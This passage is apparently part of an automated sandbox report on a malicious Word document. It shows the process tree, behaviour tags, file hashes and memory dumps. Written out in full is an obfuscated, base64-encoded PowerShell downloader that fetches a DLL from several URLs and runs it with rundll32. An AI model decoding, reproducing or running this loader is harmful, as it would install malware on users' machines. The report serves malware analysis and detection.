AnAHEAdQAnACkAKQA7AGIAcgBlAGEAawA7ACQATQBpADYAZwA0ADYAMAA9ACgAKAAnAFMAJwArACcANgB6ACcAKQArACcAYQAnACsAKAAnAG0AJwArACcAaQBiACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABQAF8AMAA4ADYAXwBnAD0AKAAoACcATwAnACsAJwA5ADUAZwAnACkAKwAnAHQAJwArACcAawBkACcAKQA=1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePOwersheLL -w hidden -ENCOD UwBWACAAIAB0ADQAQgA3AGsAIAAoACAAWwBUAFkAUABFAF0AKAAiAHsAMQB9AHsAMgB9AHsAMAB9AHsAMwB9ACIALQBmACcAbwAuAEQAaQAnACwAJwBzAFkAcwBUAEUATQAnACwAJwAuAGkAJwAsACcAUgBlAGMAdABvAHIAWQAnACkAIAAgACkAOwAgACAAIAAgACQARgAzADUAQwA4AFgAIAAgAD0AIAAgAFsAdAB5AFAARQBdACgAIgB7ADQAfQB7ADEAfQB7ADIAfQB7ADcAfQB7ADAAfQB7ADYAfQB7ADUAfQB7ADMAfQB7ADgAfQAiACAALQBmACAAJwBDAGUAcABPAEkAJwAsACcAeQBzAFQAZQBtAC4AbgBFAFQALgBzAEUAJwAsACcAUgBWACcALAAnAEEATgBBAGcAZQAnACwAJwBzACcALAAnAHQATQAnACwAJwBOACcALAAnAEkAJwAsACcAUgAnACkAOwAgACAAJABYAGsAYgA3AHIANQBsAD0AKAAoACcAQgA3ACcAKwAnAGYAJwApACsAJwBfACcAKwAoACcAeQAnACsAJwBnAHkAJwApACkAOwAkAFUAZwBsAHAAeABtAGcAPQAkAE0AXwBzADAAeABxADYAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFQANAAxAGIAbwBpAGEAOwAkAEMAcAB0AG4AawBrAGUAPQAoACgAJwBLADAAJwArACcAMAAnACkAKwAoACcAaQAnACsAJwB6AGUAdgAnACkAKQA7ACAAKAAgACAAZwBFAHQALQB2AGEAcgBJAEEAYgBMAEUAIAAgAHQANABiADcASwAgACAALQB2AEEATABVAGUAbwBuAEwAeQAgACAAKQA6ADoAIgBjAHIARQBBAHQAYABFAGAARABpAFIAYABFAEMAYABUAE8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0AJwArACgAJwBFADEAYgAnACsAJwBhACcAKQArACcAZAA1ACcAKwAnAGUAewAwAH0AUgB2AG0AJwArACcAbgAnACsAJwA3AGsAZAB7ADAAfQAnACkALQBGACAAIABbAEMASABBAFIAXQA5ADIAKQApADsAJABZADcANwA4ADMAZQBqAD0AKAAnAEwAcQAnACsAJwBmAHoAJwArACgAJwBlACcAKwAnAGsAegAnACkAKQA7ACAAIAAkAEYAMwA1AGMAOABYADoAOgAiAFMARQBgAEMAdQBgAFIAaQBUAGAAeQBwAHIAYABPAFQATwBjAG8AbAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAVwB5ADgAaQB5AGsAZwA9ACgAKAAnAFcAZgAnACsAJwB1AHkAJwApACsAJwByACcAKwAnAHcAOAAnACkAOwAkAEsANgBiAG8AdwAxAHcAIAA9ACAAKAAnAEYAaAAnACsAKAAnAGQAdAAnACsAJwBtAGUAJwApACsAJwAxADAAJwApADsAJABCADkANgBmAHAAagBlAD0AKAAoACcARABuAGEAJwArACcAaAAnACkAKwAnAG4ANQAnACsAJwB4ACcAKQA7ACQAUgBiAHgAdQB2AF8ANQA9ACgAJwBOACcAKwAoACcAcwA4AGgAJwArACcAZgByACcAKQArACcAMgAnACkAOwAkAFUAeQB2AHoAeQB5AHEAPQAkAEgATwBNAEUAKwAoACgAJwB7ADAAJwArACcAfQBFADEAYgAnACsAKAAnAGEAJwArACcAZAA1AGUAJwApACsAJwB7ADAAJwArACcAfQAnACsAKAAnAFIAdgBtAG4AJwArACcANwBrACcAKQArACcAZAB7ADAAfQAnACkALQBGAFsAYwBIAGEAcgBdADkAMgApACsAJABLADYAYgBvAHcAMQB3ACsAKAAoACcALgBkACcAKwAnAGwAJwApACsAJwBsACcAKQA7ACQAWQBiAHcAbgBsAGIAcQA9ACgAKAAnAEwAbgBtACcAKwAnAGoANwAnACkAKwAnAG8AJwArACcANQAnACkAOwAkAEYAawA3AGUAYQByAF8APQBOAGAAZQBXAC0AYABvAGAAQgBqAEUAYwB0ACAATgBlAFQALgB3AGUAQgBDAGwASQBlAE4AVAA7ACQATwBtAGkAcQAxAHMAaQA9ACgAKAAnAGgAdAAnACsAKAAnAHQAcAAnACsAJwA6AFEAJwApACsAJwApACcAKwAoACgAJwAoAHEAZAAnACsAJwBkACkAKAAnACkAKQArACgAKAAnAFEAKQAnACsAJwAoAHEAZAAnACkAKQArACgAKAAnAGQAKQAnACsAJwAoAHYAJwApACkAKwAoACgAJwBlAHYAJwArACcAYQAuAHYAbgBRACcAKwAnACkAKAAnACkAKQArACgAKAAnAHEAZAAnACsAJwBkACkAKAAnACkAKQArACgAJwB6AG4AdABrACcAKwAnADAAJwApACsAKAAnADcAMAAuACcAKwAnAHAAbgAnACkAKwAnAGcAQAAnACsAKAAnAGgAdAAnACsAJwB0AHAAOgBRACcAKQArACgAKAAnACkAKAAnACkAKQArACgAJwBxACcAKwAnAGQAZAAnACkAKwAoACgAJwApACgAJwApACkAKwAnAFEAJwArACgAKAAnACkAKAAnACkAKQArACcAcQAnACsAJwBkACcAKwAnAGQAJwArACcAKQAnACsAKAAoACcAKAAnACsAJwBoAGEAJwApACkAKwAoACcAcgBkACcAKwAnAG0AJwApACsAKAAnAGUAJwArACcAZAAtACcAKQArACcAZQAnACsAJwBnACcAKwAoACcALgBjACcAKwAnAG8AJwApACsAJwBtACcAKwAoACgAJwBRACkAJwApACkAKwAoACgAJwAoAHEAZAAnACsAJwBkACkAJwArACcAKABvACcAKQApACsAKAAnADcAJwArACcANgBuAHgAJwApACsAJwBhAC4AJwArACgAJwBwAG4AJwArACcAZwAnACkAKwAnAEAAaAAnACsAJwB0AHQAJwArACgAJwBwACcAKwAnADoAUQAnACkAKwAoACgAJwApACgAcQAnACsAJwBkACcAKwAnAGQAKQAnACkAKQArACgAKAAnACgAUQAnACkAKQArACcAKQAnACsAKAAnACgAJwArACcAcQBkAGQAKQAnACkAKwAoACgAJwAoAGkAJwApACkAKwAnAHMAbAAnACsAJwBhACcAKwAnAG0AJwArACgAJwBhAGIAbwB1ACcAKwAnAHQAJwApACsAKAAoACcALgBjACcAKwAnAG8AbQBRACcAKwAnACkAKABxAGQAZAAnACkAKQArACgAKAAnACkAKABnAGEAMQAnACsAJwA0ADAAJwArACcAaAA3AGwALgB6ACcAKwAnAGkAcAAnACkAKQArACcAQABoACcAKwAoACcAdAB0ACcAKwAnAHAAJwApACsAJwA6ACcAKwAoACgAJwBRACkAJwApACkAKwAoACgAJwAoAHEAJwArACcAZAAnACkAKQArACgAKAAnAGQAKQAnACkAKQArACcAKAAnACsAKAAoACcAUQApACgAcQAnACsAJwBkAGQAKQAoACcAKQApACsAKAAnAGYAZQByACcAKwAnAHIAZQB0AGUAJwArACcAYwAnACkAKwAnAC4AYwAnACsAKAAoACcAbwBtAFEAKQAoACcAKwAnAHEAZAAnACkAKQArACgAKAAnAGQAKQAoAGMAMgAnACsAJwBlAGkAdgAnACsAJwBzACcAKwAnAHMAdwBnAC4AJwArACcAcgBhAHIAJwApACkAKwAoACcAQAAnACsAJwBoAHQAdAAnACkAKwAnAHAAOgAnACsAKAAoACcAUQApACcAKQApACsAKAAnACgAcQBkAGQAJwArACcAKQAnACkAKwAnACgAJwArACgAKAAnAFEAKQAnACkAKQArACcAKAAnACsAJwBxACcAKwAoACgAJwBkAGQAJwArACcAKQAnACkAKQArACgAJwAoACcAKwAnAHIAYQBzAGEAZABiAGEAcgAuACcAKwAnAGkAcgBRACkAJwApACsAKAAoACcAKAAnACsAJwBxAGQAJwApACkAKwAnAGQAJwArACgAKAAnACkAJwArACcAKAB0ADYAeQBzACcAKwAnAHcAYgAuAHAAJwApACkAKwAoACcAZABmACcAKwAnAEAAJwApACsAJwBoAHQAJwArACcAdAAnACsAJwBwADoAJwArACgAKAAnAFEAKQAnACkAKQArACgAJwAoAHEAZAAnACsAJwBkACcAKwAnACkAKABRACkAJwApACsAKAAoACcAKABxACcAKQApACsAJwBkACcAKwAoACgAJwBkACkAJwApACkAKwAoACgAJwAoACcAKwAnAHMAZQBuACcAKwAnAGkAbwAnACkAKQArACcAcgBjACcAKwAnAGEAcgAnACsAJwBlAGMAJwArACgAJwBvAG0AcABhACcAKwAnAHMAJwApACsAJwBzACcAKwAoACcALgAnACsAJwBpAG4AJwApACsAKAAnAGkAJwArACcAZgBhACcAKQArACcAcgBlACcAKwAoACcAcwB3ACcAKwAnAG8AcgBrACcAKQArACcAcwAnACsAJwBoAG8AJwArACcAcAAnACsAJwBzACcAKwAnAC4AJwArACcAYwAnACsAKAAoACcAbwBtAFEAJwArACcAKQAnACkAKQArACgAKAAnACgAcQBkAGQAJwArACcAKQAoACcAKQApACsAKAAnAHYAJwArACcAcgA2AGUAYgB6ACcAKwAnAG8AbABkAC4AJwArACcAcABuAGcAJwApACsAJwBAACcAKQApAC4AIgBSAGUAcABMAGEAYABDAEUAIgAoACgAKAAoACgAJwBRACcAKwAnACkAKAAnACkAKQArACgAKAAnAHEAZAAnACsAJwBkACkAKAAnACkAKQApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAGgAdwAnACsAJwBlACcAKQApAFsAMABdACkALgAiAFMAUABgAEwAaQB0ACIAKAAkAEwANQB5AGQAYwBvAHYAIAArACAAJABVAGcAbABwAHgAbQBnACAAKwAgACQAQwBrAHgAOABuADkAZQApADsAJABQAGMAagBsAGgAawBvAD0AKAAnAFAAMQAnACsAKAAnAGUAJwArACcAaQB4AHUAeQAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVQB5ADMAOQBnAF8AdgAgAGkAbgAgACQATwBtAGkAcQAxAHMAaQAgAHwAIABTAGAATwBgAFIAYABUAC0AbwBiAGoAYABFAGMAVAAgAHsAZwBFAGAAVAAtAFIAQQBgAE4AZABgAG8AbQB9ACkAewB0AHIAeQB7ACQARgBrADcAZQBhAHIAXwAuACIARABgAG8AVwBuAEwATwBhAGAARABGAGAASQBsAEUAIgAoACQAVQB5ADMAOQBnAF8AdgAsACAAJABVAHkAdgB6AHkAeQBxACkAOwAkAFIAcwAyAG0ANQB5ADcAPQAoACgAJwBNACcAKwAnAHQAagAnACkAKwAoACcAYgAnACsAJwBwAHQAdQAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABVAHkAdgB6AHkAeQBxACkALgAiAEwARQBOAGcAYABUAGgAIgAgAC0AZwBlACAANAAwADQAMAAwACkAIAB7ACYAKAAnAHIAdQAnACsAJwBuAGQAbAAnACsAJwBsADMAMgAuAGUAeABlACcAKQAgACQAVQB5AHYAegB5AHkAcQAsADAAOwAkAFIAeAA1AGYAcwBnAGcAPQAoACgAJwBBAHMAJwArACcAbgBrACcAKQArACgAJwBuACcAKwAnAHEAdQAnACkAKQA7AGIAcgBlAGEAawA7ACQATQBpADYAZwA0ADYAMAA9ACgAKAAnAFMAJwArACcANgB6ACcAKQArACcAYQAnACsAKAAnAG0AJwArACcAaQBiACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABQAF8AMAA4ADYAXwBnAD0AKAAoACcATwAnACsAJwA5ADUAZwAnACkAKwAnAHQAJwArACcAawBkACcAKQA=2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\E1bad5e\Rvmn7kd\Fhdtme10.dll 03⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\E1bad5e\Rvmn7kd\Fhdtme10.dll 04⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Checks whether UAC is enabled
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\E1bad5e\Rvmn7kd\Fhdtme10.dllMD5
61954aadde68824dc4a7f709ef14c4d5
SHA19563a7393c02f5541c7b37af31304037a2c1fcb8
SHA2562aed6c38a383b9c88add24ea8479d4ecabba5c7329046e2893ddb73947691174
SHA5125d62cb2fa628c2f3ace929912aeb24e3260c5708bbbf79b5e3ba2df727a99283b440d90c15d80952cecd17bfc605a86c8c4dc3bb2fd4d0b248609472a40e1ce9
-
\Users\Admin\E1bad5e\Rvmn7kd\Fhdtme10.dllMD5
61954aadde68824dc4a7f709ef14c4d5
SHA19563a7393c02f5541c7b37af31304037a2c1fcb8
SHA2562aed6c38a383b9c88add24ea8479d4ecabba5c7329046e2893ddb73947691174
SHA5125d62cb2fa628c2f3ace929912aeb24e3260c5708bbbf79b5e3ba2df727a99283b440d90c15d80952cecd17bfc605a86c8c4dc3bb2fd4d0b248609472a40e1ce9
-
\Users\Admin\E1bad5e\Rvmn7kd\Fhdtme10.dllMD5
61954aadde68824dc4a7f709ef14c4d5
SHA19563a7393c02f5541c7b37af31304037a2c1fcb8
SHA2562aed6c38a383b9c88add24ea8479d4ecabba5c7329046e2893ddb73947691174
SHA5125d62cb2fa628c2f3ace929912aeb24e3260c5708bbbf79b5e3ba2df727a99283b440d90c15d80952cecd17bfc605a86c8c4dc3bb2fd4d0b248609472a40e1ce9
-
\Users\Admin\E1bad5e\Rvmn7kd\Fhdtme10.dllMD5
61954aadde68824dc4a7f709ef14c4d5
SHA19563a7393c02f5541c7b37af31304037a2c1fcb8
SHA2562aed6c38a383b9c88add24ea8479d4ecabba5c7329046e2893ddb73947691174
SHA5125d62cb2fa628c2f3ace929912aeb24e3260c5708bbbf79b5e3ba2df727a99283b440d90c15d80952cecd17bfc605a86c8c4dc3bb2fd4d0b248609472a40e1ce9
-
\Users\Admin\E1bad5e\Rvmn7kd\Fhdtme10.dllMD5
61954aadde68824dc4a7f709ef14c4d5
SHA19563a7393c02f5541c7b37af31304037a2c1fcb8
SHA2562aed6c38a383b9c88add24ea8479d4ecabba5c7329046e2893ddb73947691174
SHA5125d62cb2fa628c2f3ace929912aeb24e3260c5708bbbf79b5e3ba2df727a99283b440d90c15d80952cecd17bfc605a86c8c4dc3bb2fd4d0b248609472a40e1ce9
-
memory/1088-10-0x000000001B7A0000-0x000000001B7A1000-memory.dmpFilesize
4KB
-
memory/1088-7-0x000000001AB00000-0x000000001AB01000-memory.dmpFilesize
4KB
-
memory/1088-8-0x0000000002710000-0x0000000002711000-memory.dmpFilesize
4KB
-
memory/1088-9-0x0000000002480000-0x0000000002481000-memory.dmpFilesize
4KB
-
memory/1088-6-0x00000000026D0000-0x00000000026D1000-memory.dmpFilesize
4KB
-
memory/1088-12-0x000000001B470000-0x000000001B471000-memory.dmpFilesize
4KB
-
memory/1088-5-0x000007FEF4D70000-0x000007FEF575C000-memory.dmpFilesize
9.9MB
-
memory/1088-4-0x0000000000000000-mapping.dmp
-
memory/1156-21-0x000007FEF7080000-0x000007FEF72FA000-memory.dmpFilesize
2.5MB
-
memory/1416-11-0x0000000000000000-mapping.dmp
-
memory/1496-3-0x0000000000000000-mapping.dmp
-
memory/1644-20-0x00000000003F0000-0x000000000042D000-memory.dmpFilesize
244KB
-
memory/1644-15-0x0000000000000000-mapping.dmp
-
memory/1688-0-0x0000000005E28000-0x0000000005E31000-memory.dmpFilesize
36KB
-
memory/1688-1-0x0000000006220000-0x0000000006224000-memory.dmpFilesize
16KB
-
memory/1688-2-0x0000000000759000-0x000000000075D000-memory.dmpFilesize
16KB
-
memory/1772-13-0x0000000000000000-mapping.dmp